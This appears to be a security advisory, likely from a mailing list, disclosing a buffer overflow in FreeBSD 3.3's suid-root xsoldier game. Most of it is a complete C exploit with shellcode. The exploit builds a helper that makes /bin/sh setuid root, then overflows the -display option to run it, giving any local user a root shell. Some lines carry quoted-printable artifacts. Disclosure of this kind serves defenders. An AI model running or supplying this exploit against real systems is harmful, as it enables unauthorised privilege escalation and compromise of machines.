A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root access. This user does not have to have a valid $DISPLAY to exploit this.
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Greetings,
OVERVIEW
A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access. This user does not have to have a valid $DISPLAY to exploit this.
BACKGROUND
Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.
DETAILS
More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root
game. A simple overflow in the -display option allows any user to gain root.
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.
--- xsoldierx.c ---
/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]=3D /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
void buildui() {
FILE *fp;
char cc[100];
fp =3D fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}
main (int argc, char *argv[] ) {
int x =3D 0;
int y =3D 0;
int offset =3D 0;
int bsize =3D 4400;
char buf[bsize];
int eip =3D 0xbfbfdb65; /* works for me */
buildui();
if (argv[1]) {
offset =3D atoi(argv[1]);
eip =3D eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsize);
for ( x =3D 0; x < 4325; x++) buf[x] =3D 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] =3D eip & 0x000000ff;
buf[x++] =3D (eip & 0x0000ff00) >> 8;
buf[x++] =3D (eip & 0x00ff0000) >> 16;
buf[x++] =3D (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize]=3D'\0';
execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
}
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Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net